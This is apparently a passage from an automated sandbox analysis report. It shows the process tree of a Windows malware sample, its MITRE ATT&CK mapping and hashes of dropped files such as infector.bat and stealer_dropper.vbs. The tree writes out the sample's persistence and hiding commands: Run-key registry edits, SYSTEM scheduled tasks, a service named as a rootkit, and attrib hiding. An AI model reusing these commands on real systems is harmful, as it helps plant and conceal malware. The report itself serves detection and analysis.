  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat"
    3⤵
    - Views/modifies file attributes
    PID:4204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" /f > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat" /f
    3⤵
    - Adds Run key to start application
    PID:1124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create RootkitService binPath= "C:\Windows\System32\svchost.exe -k LocalService -s RootkitService" DisplayName= "Windows Root Kit Service" start= auto type= share > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\system32\sc.exe
    sc create RootkitService binPath= "C:\Windows\System32\svchost.exe -k LocalService -s RootkitService" DisplayName= "Windows Root Kit Service" start= auto type= share
    3⤵
    - Launches sc.exe
    PID:1220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc description RootkitService "Windows Root Kit Service" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\system32\sc.exe
    sc description RootkitService "Windows Root Kit Service"
    3⤵
    - Launches sc.exe
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config RootkitService start= auto > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\system32\sc.exe
    sc config RootkitService start= auto
    3⤵
    - Launches sc.exe
    PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\RootkitService" /v "Parameters" /t REG_MULTI_SZ /d "RootkitService" /f > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\RootkitService" /v "Parameters" /t REG_MULTI_SZ /d "RootkitService" /f
    3⤵
    PID:2056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start RootkitService > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:3980
- - C:\Windows\system32\sc.exe
    sc start RootkitService
    3⤵
    - Launches sc.exe
    PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy C:\Windows\System32\cmd.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:2028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1876
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe"
    3⤵
    - Views/modifies file attributes
    PID:2980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd.exe /c "cd /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector" && "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat"" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:1656
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "cd /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector" && "C:\Users\Admin\AppData\Local\Temp\TempInjection\\Infector\infector.bat""
    3⤵
    PID:2472
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
      4⤵
      Adds Run key to start application
      PID:696
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3440
  - - C:\Windows\system32\sc.exe
      sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
      4⤵
      Launches sc.exe
      PID:4344
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
      4⤵
      Views/modifies file attributes
      PID:452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\reinfection.vbs" > "cmd_output_3480.txt" 2> "cmd_error_3480.txt"
  2⤵
  PID:4008
- - C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\TempInjection\\reinfection.vbs"
    3⤵
    - Checks computer location settings
    PID:2024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:5024
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:1344
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2636
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:1104
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:4196
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:2136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:4596
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:4788
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3652
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:876
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:3804
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:4592
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:1660
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:1980
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4676
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:1092
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:3924
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:2344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" "
      4⤵
      PID:4320
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
        5⤵
        Adds Run key to start application
        
        PID:2980
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4632
    - - C:\Windows\system32\sc.exe
        
        sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
        5⤵
        Launches sc.exe
        
        PID:696
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
        5⤵
        Views/modifies file attributes
        
        PID:4960
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start RootkitService
      4⤵
      Launches sc.exe
      PID:4344

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" create SystemUpdateSvc binPath= wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs start= auto
  2⤵
  - Launches sc.exe
  PID:1628
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn SystemUpdate /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4508

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4772
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn Persistence /tr wscript.exe C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs /sc onlogon /ru SYSTEM /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1876
- C:\Windows\System32\attrib.exe
  "C:\Windows\System32\attrib.exe" +h C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
  2⤵
  - Views/modifies file attributes
  PID:2472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:4488

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
1⤵
- Adds Run key to start application
PID:2160

C:\Windows\system32\schtasks.exe
schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:3928

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Infector" /v "Infector" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /f
1⤵
- Adds Run key to start application
PID:1260

C:\Windows\system32\schtasks.exe
schtasks /create /tn SystemInfector /tr "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat" /sc onlogon /ru SYSTEM /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5020

C:\Windows\system32\sc.exe
sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
1⤵
- Launches sc.exe
PID:4016

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
1⤵
- Views/modifies file attributes
PID:4492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:3712

C:\Windows\system32\sc.exe
sc create "InfectorService" binPath= "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"" start= auto type= share
1⤵
- Launches sc.exe
PID:624

C:\Windows\system32\attrib.exe
attrib +h +s "C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.bat"
1⤵
- Views/modifies file attributes
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:3532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -s RootkitService -s RootkitService
1⤵
PID:2448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1a4bc85e3c3fe1cffca9487eb69f9973083c2217916c0d99ff7d75f049b3fb47
MD5 320b376fd428c2d61a2eb62e2e069f2b
SHA1 c488d4ad177fe41e36cd31b7cbc020ca418f2be2
SHA512 a6c86d1fdeecfaa87692ce8edbae8935300be70d751d4571d8876a4a9da21573c913c6e9663a0c4d769bf4d9ea07c8e9bb2b89ae09ad604c1521993bbe00c927
TLSH
T102117A37B39C8921CC96153A409D9C1172B583C7419EDF9F6FC4D215A07F584CB71194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6e4d268f034ab5aa40a37df58270a8ceae061a46ac748c55f8a9302f07b2ea34
MD5 28285166ab0b441507d064ef633e50f1
SHA1 94aab8e06f5c54e5efb3eafcf664df599145327e
SHA512 86a8f9f0ff74ad97470e51f522396e036a9ff9daf44ed2159792e62bd84f8250ecfd33178fb69f479bf6c499652853563936c97656efbad9f1083a8164567531
TLSH
T12E214827B39C85A1C885553A04AD9C1072B792C391DECEDB6BC4D604A1BF598CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 846bcbf5c6260d5825b67ed6249cf66e5527bfab94dfa12a076b4df1614bf5ab
MD5 a4964c584a58403251ea658a68b1c672
SHA1 9b6fbbcabbf540064849c6729fa6e4cf422a2973
SHA512 be0e4bc6e69c75a8c0a823b1f57d8140c1fe5a067cc762dfb104451b9ad1537ef2dca1e96605aad49e68fe968d147096a512b45090f271981177f4e0771ee856
TLSH
T137117637F39C8A21CC96153A409EAC1176B687C741AEDF9F6FC0C215A1BF984CB71294
MD5 SHA1 SHA512 TLSH

Submit Download

infector.dll

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\Infector\infector.dll
Size 1003B
SHA256 93ce1adf50589edddea951372db530f402ed66007d00e7b239de5815da24c1f3
MD5 70ae363588c0f5580141cb3749029742
SHA1 8fc08db8e6e75f4e0ac203bf804cbbdf0c881f72
SHA512 203c7945128332a2cc50028b44f2c57e857a513af307a78098184f42ef1029fe721847d1146eaebdba1b006afcffd74c66f6fb728039700a198dec124ff20f84
MD5 SHA1 SHA512

Submit Download

brzouvz279rrm92p.zip

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\brzouvz279rrm92p.zip
Size 5KB
SHA256 7c6ec6565d877584bf88f19f484ff8557368d957598f853efd61130bd02146b1
MD5 279f35179a899706db63e04365eced51
SHA1 34203a6d83cc1011ca7dc879bea9a85a969d5e07
SHA512 984ecbbf30a40a2321a75f333fd66b3aa762b1bea9c9ba6453f19c174242aee38d52c4354e71e48dadf423ea83d8b6c2f50795bf5c9f77a3fef2227822b0c072
SSDEEP 48:0K9ow919lXtLsy4/o6ce0DH3GUANz/7p5LclJfecONkJSI8MJOLrPGjpSHtlXhLs:3J3LsZ/oxb3rARmJfBONejcmmlXhY
TLSH
T1DAB13F222DF41137019290CB7969AB17FFC2C00BD75A2A0172BD07DD1FD2D52D99798A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

payload_loader.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\payload_loader.vbs
Size 469B
SHA256 7a3d3c5e436c04b055fab8b543ab71b7fee0ad3d73d7b54ef23770961ca15104
MD5 5392fa253454e8e292950104de9b1dab
SHA1 89c5d9b0699cb6494aa4833ba423df6e40a56b9c
SHA512 5edee4f491ae72c248b80982ec2bb052ab1ecf6e0888edd15d9df34ea35ed12bb3d8bbfdab3c48adc3ab0c534aad7aca281b934580cbf9f62392f5a37c44e3f1
TLSH
T10AF055ACBF2FCC318D8F6103103BC86DDBA2B7A92110E6A556CCC8C0804935A1E3F782
MD5 SHA1 SHA512 TLSH

Submit Download

persistence_master.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\persistence_master.vbs
Size 413B
SHA256 71e8cedf43a60c337b0d3e43baca5dd1842a4650ab51005c90bda0b3a9f139f2
MD5 0fe910da817f76e5e354e8184053e1b4
SHA1 7e26c17f1a17005b3e0706d50eb0c80b50d93bdc
SHA512 93b76d283d6ab25e73a283bc9c8d70041e65f566508c223e3c789149ea6dc642536b03a9897efbd0c4f58cec7e19251cce974e01724b59769cfe646b69a8e033
TLSH
T186E0A228BE3FCD314CAAB103107F8C6EE3A6F3A92020C52100C0C8C000097182E2B282
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_dropper.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\extracted\stealer_dropper.vbs
Size 1KB
SHA256 66aa4059282fb3f6648595211ee83201bab8e987d857254b3a4725fdf04f8f96
MD5 8d7b6bcbd8dcd52605ccf69aea6190b4
SHA1 e3f19597054a38716940a68fbb71c4e123f71484
SHA512 d923bc3db0220fd4dff027c2f932478c722798e4c6eb523d534a4734ec2163cf8df7283e98783a2d820ccec543300742f9ca65288892465c9602422e43348c47
TLSH
T12141D10BFA2FCC264F67C193522FDC0D9B559A16601445FDB6BCCC84135CB9D89E106B
MD5 SHA1 SHA512 TLSH

Submit Download

infector.bat

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\infector.bat
Size 366B
SHA256 9a3f356c6460ebc532c60bc7c118a6e12dad30a88dfacc52a52330e754e83269
MD5 f864bd57eb7a617f8c4ba460f0faa2da
SHA1 1784b3037a6422c80f1b8be581414b46390adf42
SHA512 b7e44957f0b8fed57669eb5744dfb547d344fedc62235029c0943e26117ab2dfd2059aaa358360e3e60026ab9970b822f131fc8942db5846735709cb6d7d2751
TLSH
T119E0C038791BC0269757B022840F0E63BF2651DF0400C280309D2015CCD725F46BEED3
MD5 SHA1 SHA512 TLSH

Submit Download

payloadlibrary.rar

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\payloadlibrary.rar
Size 11KB
SHA256 d37e143fd7ee606cd60f8b4007aa2d144579c7cd735edc75abfb1fbdf5dfee7b
MD5 811b244f1e150e68b612c3d45108605b
SHA1 5d836d10f3095964e88760c29c8c7042a60f0295
SHA512 f28f69824e38af5a25e3d7f31b276b5a9d3f19f2e18415495879579ef0cd3343a4ddb8895fa1a5beb0d1a6a2c4518dd9f669344c2668dcbca21045d97aadad38
SSDEEP 96:iMqVAoSlLhqYY4th3Zq36uWlUmtpydeX93aze1VCNRupbL5J8O4laB5My7:zMilLhtDJhKYX5kerCNRupjyy7
TLSH
T1AC32864A0DF680E701A685AA7DB1FD0D6DC5868BC219FC4C32FC90AA1FD7D468DC78A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

reinfection.vbs

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\reinfection.vbs
Size 499B
SHA256 98a9ec8db92625ee0d783eae61577cec1e72abd91001bf69f96d9829214124c0
MD5 7d152d969bd7c00a409c96fa2ff07b69
SHA1 d2c9389851f137de7081e75e57f36f4b7b2b3f3f
SHA512 efb2be4c7a03ad573d4f8a7e8815d395c13c46a9b683ceb740249f87a15ca42ca647be7e6b3343647b54951bb34fc93604235b92bcf8cae974fb6ddf5305b9c5
TLSH
T11CF05904A12BCA561E6AC08604A29C2CEDF0799A05346D007F9C9D041BF6B2C670A202
MD5 SHA1 SHA512 TLSH

Submit Download

svchost_hidden.exe

Path C:\Users\Admin\AppData\Local\Temp\TempInjection\svchost_hidden.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
TLSH
T11854291D23991CE5D927923D9903C226C6727C346321A6EF22D0CD7B6F63AE97A34F05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bn2e2zkx.ft1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bn2e2zkx.ft1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_error_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_3480.txt
Size 44B
SHA256 83cee69214da2175b5033379ed8853ff7990d883aa32a0acf6b28bef6f404b66
MD5 03cffe84ae672668b3289188ca1a81f7
SHA1 ddca032e3fd6eaa449e60d61de7c7dd112d2704f
SHA512 c228d06351e4c68ea6b4e400d1fbea8e1e6d8c54c1954463d2d8b3f2b68ca42abf0b12968308d61797cf9d77630fe5516707a5d518b966a2135eb417824f7c62
MD5 SHA1 SHA512

Submit Download

cmd_error_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_3480.txt
Size 57B
SHA256 9afeaa6e13e65a296e8541d8533f93cf047d95d53860e209454e47e7099fae22
MD5 c21ea50a04d9df6d031048dfd5cc8666
SHA1 0fb9f24d6dee95ddbc6985095bcd662e3e826676
SHA512 a2f7db4d9750409968120646ae0488ac81454903f2496369e8c13fbd4b67271960ff6a65c59abcb16eb75cc6c50c64a1cb71d99d8138e814885b9c19ee4d4f07
TLSH
T1A2900245FD485237B5144061748543550A082DA80AC705F1462042D613A5F76DEA2314
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_error_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_error_3480.txt
Size 93B
SHA256 804b382013bd4fbfc6bceead64edad60baffc3efe443029807998a6a34113bd9
MD5 1981ede98a3fd5aec3a46f0dc8b914fe
SHA1 815eaeafa937bf5b05b68b679d9fc942a5f5fc3a
SHA512 c48281a8c67e1dfc9e301de2df242d975d8aad445c18c38aa64f99fda32d308380661d715f3ddf30b05d19ca61270c55fc474e292182beb45f6c01cc76876a1c
TLSH
T171B012F70ADD555544075004A2140540401CB491A24D47D11344072F8096F10A118A0C
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_output_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_3480.txt
Size 143B
SHA256 fd652e6067dba76b47958f0ea1abb48c15360daab24b10ffc1eae3486f14dbce
MD5 73696b7308e57150cf12ebe741ed736b
SHA1 da75e2a510f124363b1244585677ff6c51d75cc9
SHA512 3bedb481435503570c2d39726208bd62fb335f0a01f07abd97e8ed97c7e4bbbf0130cfd59c180ece27af3c7327867b8aed3d175894fa8f44b37ef7d7204636cd
TLSH
T1CBC02B109D8CD30D0BC111813B027A6E5CDC080C2B0D39380F74C00C6F4440972C1F2F
MD5 SHA1 SHA512 TLSH

Submit Download

cmd_output_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_3480.txt
Size 27B
SHA256 a04c3131d5d2d6a794281b2525967934811d733be6dfce8658ac90f520f8a14f
MD5 d9c586991facf81ae3350d1f2468d551
SHA1 4021d00ab6d09d9def8964cf7d5b137e2057803d
SHA512 8d37243809f6af2d51f844497fbeb4268366d3121a8c76efe74917c77b5044732acdeb4638ce47b649ab3a00a8584855015d4de374b184db83c0809fa721d421
MD5 SHA1 SHA512

Submit Download

cmd_output_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_3480.txt
Size 40B
SHA256 4499283166530ce395cbc12677fef2bd52759eacdcc5bdde56c039b1a2e99c0b
MD5 13015015dd907d28996153df14881252
SHA1 532c595baae0a027d02d1b28d7b83d57350a310e
SHA512 b81fb62ab27e7722bfcb386766ffa1d1eba05b8b03cd5d2160bb2570f87568381d923ac75017d785e1dec1685769023727f4280e27c2a69cde69772ca62e2a92
MD5 SHA1 SHA512

Submit Download

cmd_output_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_3480.txt
Size 28B
SHA256 596ccc911c1772735aac6a6b756a76d3d55bcecd006b980cf147090b2243fa7b
MD5 a8f4d690c5bde96ad275c7d4abe0e3d3
SHA1 7c62c96efd2ca4f3c3ebf0b24c9b5b4c04a4570a
SHA512 a875ebe3c5cdf222ff9d08576f4d996af827a1c86b3e758ce23f6b33530d512a82ce8e39e519837512080c6212a0a19b3385809be5f5001c4e488dd79550b852
MD5 SHA1 SHA512

Submit Download

cmd_output_3480.txt

Path C:\Users\Admin\AppData\Local\Temp\cmd_output_3480.txt
Size 35B
SHA256 278cae689d7dd61a74bc8dbc11f3adaa8bacd956b5cb627d958cd62e01eb7a03
